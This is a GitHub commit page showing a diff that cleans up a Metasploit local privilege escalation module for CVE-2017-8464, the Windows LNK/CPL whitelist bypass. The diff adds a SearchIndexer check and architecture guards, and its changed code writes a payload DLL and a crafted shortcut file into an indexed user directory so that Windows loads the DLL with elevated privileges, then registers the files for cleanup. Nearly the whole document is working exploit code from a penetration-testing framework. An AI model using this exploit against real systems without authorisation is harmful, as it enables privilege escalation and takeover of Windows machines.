Skip to content

Commit 4729c88

Browse files
committed
Cleanup the CVE-2017-8464 LPE module
1 parent d0ebfa1 commit 4729c88

File tree

1 file changed

+45
-12
lines changed

1 file changed

+45
-12
lines changed

modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb

Lines changed: 45 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,9 @@ class MetasploitModule < Msf::Exploit::Local
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::EXE
10+
include Msf::Exploit::FileDropper
1011
include Msf::Post::File
12+
include Msf::Post::Windows::Priv
1113

1214
attr_accessor :exploit_dll_name
1315

@@ -26,8 +28,8 @@ def initialize(info = {})
2628
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
2729
DLL file.
2830
29-
If no PATH is specified, the module will use drive letters D through Z so the files
30-
may be placed in the root path of a drive such as a shared VM folder or USB drive.
31+
The PATH option must be an absolute path to a writeable directory which is indexed for
32+
searching. If no PATH is specified, the module defaults to %USERPROFILE%.
3133
},
3234
'Author' =>
3335
[
@@ -47,8 +49,9 @@ def initialize(info = {})
4749
],
4850
'DefaultOptions' =>
4951
{
50-
'EXITFUNC' => 'process',
51-
'WfsDelay' => 30,
52+
'EXITFUNC' => 'process',
53+
'FileDropperDelay' => 15,
54+
'WfsDelay' => 30
5255
},
5356
'Arch' => [ARCH_X86, ARCH_X64],
5457
'Payload' =>
@@ -58,7 +61,6 @@ def initialize(info = {})
5861
'Platform' => 'win',
5962
'Targets' =>
6063
[
61-
[ 'Automatic', { 'Arch' => ARCH_ANY } ],
6264
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
6365
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
6466
],
@@ -84,22 +86,53 @@ def initialize(info = {})
8486
)
8587
end
8688

89+
def check
90+
if session.sys.process['SearchIndexer.exe']
91+
return Exploit::CheckCode::Detected
92+
end
93+
94+
Exploit::CheckCode::Safe
95+
end
96+
97+
def get_name(option, default_ext)
98+
name = datastore[option].to_s.strip
99+
name = "#{rand_text_alpha(16)}.#{default_ext}" if name.blank?
100+
name
101+
end
102+
87103
def exploit
104+
if is_system?
105+
fail_with(Failure::None, 'Session is already elevated')
106+
end
107+
108+
if session.platform != 'windows'
109+
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
110+
end
111+
112+
if check == Exploit::CheckCode::Safe
113+
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
114+
end
115+
116+
if sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
117+
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
118+
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
119+
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
120+
end
121+
88122
path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464')
89123
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
90124
datastore['EXE::Path'] = path
91125
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
92126

93-
path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%")
127+
path = datastore['PATH'] || session.fs.file.expand_path("%USERPROFILE%")
94128
path.chomp!("\\")
95129

96-
dll = generate_payload_dll
97-
dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll"
98-
dll_path = write_file("#{path}\\#{dll_name}", dll)
130+
dll_path = "#{path}\\#{get_name('DLLNAME', 'dll')}"
131+
write_file(dll_path, generate_payload_dll)
99132

100-
lnk = generate_link("#{path}\\#{dll_name}")
101-
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
102-
lnk_path = write_file("#{path}\\#{lnk_filename}", lnk)
133+
lnk_path = "#{path}\\#{get_name('FILENAME', 'lnk')}"
134+
write_file(lnk_path, generate_link(dll_path))
135+
register_files_for_cleanup(dll_path, lnk_path)
103136
end
104137

105138
def generate_link(path)

0 commit comments

Comments
 (0)